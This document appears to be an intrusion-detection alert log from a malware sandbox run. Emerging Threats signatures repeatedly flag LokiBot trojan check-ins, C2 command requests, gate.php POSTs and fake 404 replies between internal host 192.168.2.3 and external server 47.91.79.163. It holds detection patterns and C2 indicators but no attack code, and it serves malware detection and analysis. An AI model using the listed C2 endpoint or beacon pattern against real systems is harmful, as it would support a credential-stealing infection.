12/03/20-10:02:49.067828	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49773	47.91.79.163	192.168.2.3
12/03/20-10:02:49.292978	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.292978	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.292978	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.292978	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49774	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.292978	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49774	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.354669	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49774	47.91.79.163	192.168.2.3
12/03/20-10:02:49.591345	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.591345	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.591345	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.591345	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49775	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.591345	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49775	80	192.168.2.3	47.91.79.163
12/03/20-10:02:49.830853	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49775	47.91.79.163	192.168.2.3
12/03/20-10:02:50.060344	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.060344	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.060344	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.060344	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49776	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.060344	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49776	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.125688	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49776	47.91.79.163	192.168.2.3
12/03/20-10:02:50.360535	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.360535	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.360535	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.360535	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49777	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.360535	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.424430	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49777	47.91.79.163	192.168.2.3
12/03/20-10:02:50.664605	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.664605	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.664605	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.664605	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49778	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.664605	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49778	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.723849	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49778	47.91.79.163	192.168.2.3
12/03/20-10:02:50.972122	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.972122	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.972122	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.972122	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49779	80	192.168.2.3	47.91.79.163
12/03/20-10:02:50.972122	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49779	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.037888	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49779	47.91.79.163	192.168.2.3
12/03/20-10:02:51.261332	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.261332	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.261332	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.261332	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49780	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.261332	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49780	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.322457	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49780	47.91.79.163	192.168.2.3
12/03/20-10:02:51.534736	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.534736	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.534736	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.534736	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49781	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.534736	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49781	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.601373	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49781	47.91.79.163	192.168.2.3
12/03/20-10:02:51.849830	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.849830	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.849830	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.849830	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49782	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.849830	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49782	80	192.168.2.3	47.91.79.163
12/03/20-10:02:51.905245	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49782	47.91.79.163	192.168.2.3
12/03/20-10:02:52.137412	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.137412	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.137412	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.137412	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49783	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.137412	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49783	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.196885	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49783	47.91.79.163	192.168.2.3
12/03/20-10:02:52.444506	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.444506	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.444506	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.444506	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49784	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.444506	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49784	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.504974	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49784	47.91.79.163	192.168.2.3
12/03/20-10:02:52.774911	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49785	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.774911	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49785	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.774911	TCP	2025381	ET TROJAN LokiBot Checkin	49785	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.774911	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49785	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.774911	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49785	80	192.168.2.3	47.91.79.163
12/03/20-10:02:52.833588	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49785	47.91.79.163	192.168.2.3
12/03/20-10:02:53.118414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.118414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.118414	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.118414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49786	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.118414	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49786	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.234137	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49786	47.91.79.163	192.168.2.3
12/03/20-10:02:53.460522	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.460522	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.460522	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.460522	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49788	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.460522	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49788	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.519107	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49788	47.91.79.163	192.168.2.3
12/03/20-10:02:53.749878	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.749878	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.749878	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.749878	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49789	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.749878	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49789	80	192.168.2.3	47.91.79.163
12/03/20-10:02:53.808731	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49789	47.91.79.163	192.168.2.3
12/03/20-10:02:54.121373	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.121373	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.121373	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.121373	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49790	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.121373	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49790	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.179342	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49790	47.91.79.163	192.168.2.3
12/03/20-10:02:54.407060	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.407060	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.407060	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.407060	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49791	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.407060	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49791	80	192.168.2.3	47.91.79.163
12/03/20-10:02:54.467419	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49791	47.91.79.163	192.168.2.3
12/03/20-10:02:55.055545	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.055545	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.055545	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.055545	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49792	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.055545	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49792	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.114170	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49792	47.91.79.163	192.168.2.3
12/03/20-10:02:55.316098	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.316098	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.316098	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.316098	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49793	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.316098	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49793	80	192.168.2.3	47.91.79.163
12/03/20-10:02:55.375068	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49793	47.91.79.163	192.168.2.3
12/03/20-10:02:56.857683	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.3	47.91.79.163
12/03/20-10:02:56.857683	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.3	47.91.79.163
12/03/20-10:02:56.857683	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.3	47.91.79.163
12/03/20-10:02:56.857683	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49794	80	192.168.2.3	47.91.79.163
12/03/20-10:02:56.857683	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49794	80	192.168.2.3	47.91.79.163
12/03/20-10:02:56.919630	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49794	47.91.79.163	192.168.2.3
12/03/20-10:02:57.187963	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.187963	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.187963	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.187963	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.187963	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49795	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.247362	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49795	47.91.79.163	192.168.2.3
12/03/20-10:02:57.510316	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.510316	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.510316	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.510316	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49796	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.510316	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49796	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.671838	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49796	47.91.79.163	192.168.2.3
12/03/20-10:02:57.913059	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.913059	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.913059	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.913059	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49797	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.913059	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49797	80	192.168.2.3	47.91.79.163
12/03/20-10:02:57.976096	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49797	47.91.79.163	192.168.2.3
12/03/20-10:02:58.226168	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.226168	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.226168	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.226168	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49798	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.226168	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49798	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.284836	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49798	47.91.79.163	192.168.2.3
12/03/20-10:02:58.533427	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.533427	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.533427	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.533427	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49799	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.533427	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49799	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.594890	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49799	47.91.79.163	192.168.2.3
12/03/20-10:02:58.817428	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.817428	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.817428	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.817428	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49800	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.817428	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49800	80	192.168.2.3	47.91.79.163
12/03/20-10:02:58.876024	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49800	47.91.79.163	192.168.2.3
12/03/20-10:02:59.111866	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49801	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.111866	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49801	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.111866	TCP	2025381	ET TROJAN LokiBot Checkin	49801	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.111866	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49801	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.111866	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49801	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.170836	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49801	47.91.79.163	192.168.2.3
12/03/20-10:02:59.381632	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.381632	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.381632	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.381632	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49802	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.381632	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49802	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.445429	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49802	47.91.79.163	192.168.2.3
12/03/20-10:02:59.677287	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.677287	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.677287	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.677287	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49805	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.677287	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49805	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.735946	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49805	47.91.79.163	192.168.2.3
12/03/20-10:02:59.972610	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.972610	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.972610	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.972610	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49806	80	192.168.2.3	47.91.79.163
12/03/20-10:02:59.972610	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49806	80	192.168.2.3	47.91.79.163
12/03/20-10:03:00.035091	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49806	47.91.79.163	192.168.2.3
12/03/20-10:03:00.268385	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.3	47.91.79.163
12/03/20-10:03:00.268385	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.3	47.91.79.163
12/03/20-10:03:00.268385	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.3	47.91.79.163
12/03/20-10:03:00.268385	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49807	80	192.168.2.3	47.91.79.163
12/03/20-10:03:00.268385	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49807	80	192.168.2.3	47.91.79.163
12/03/20-10:03:00.328425	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49807	47.91.79.163	192.168.2.3
12/03/20-10:03:01.603999	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49808	80	192.168.2.3	47.91.79.163
12/03/20-10:03:01.603999	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49808	80	192.168.2.3	47.91.79.163
12/03/20-10:03:01.603999	TCP	2025381	ET TROJAN LokiBot Checkin	49808	80	192.168.2.3	47.91.79.163
12/03/20-10:03:01.603999	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49808	80	192.168.2.3	47.91.79.163
12/03/20-10:03:01.603999	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49808	80	192.168.2.3	47.91.79.163
12/03/20-10:03:01.806380	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49808	47.91.79.163	192.168.2.3
12/03/20-10:03:02.010652	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.010652	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.010652	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.010652	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49809	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.010652	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49809	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.067979	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49809	47.91.79.163	192.168.2.3
12/03/20-10:03:02.313843	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.313843	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.313843	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.313843	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49810	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.313843	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49810	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.375624	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49810	47.91.79.163	192.168.2.3
12/03/20-10:03:02.613556	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.613556	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.613556	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.613556	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49811	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.613556	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49811	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.672328	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49811	47.91.79.163	192.168.2.3
12/03/20-10:03:02.888199	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.888199	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.888199	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.888199	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49812	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.888199	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49812	80	192.168.2.3	47.91.79.163
12/03/20-10:03:02.951845	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49812	47.91.79.163	192.168.2.3
12/03/20-10:03:03.157768	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.3	47.91.79.163
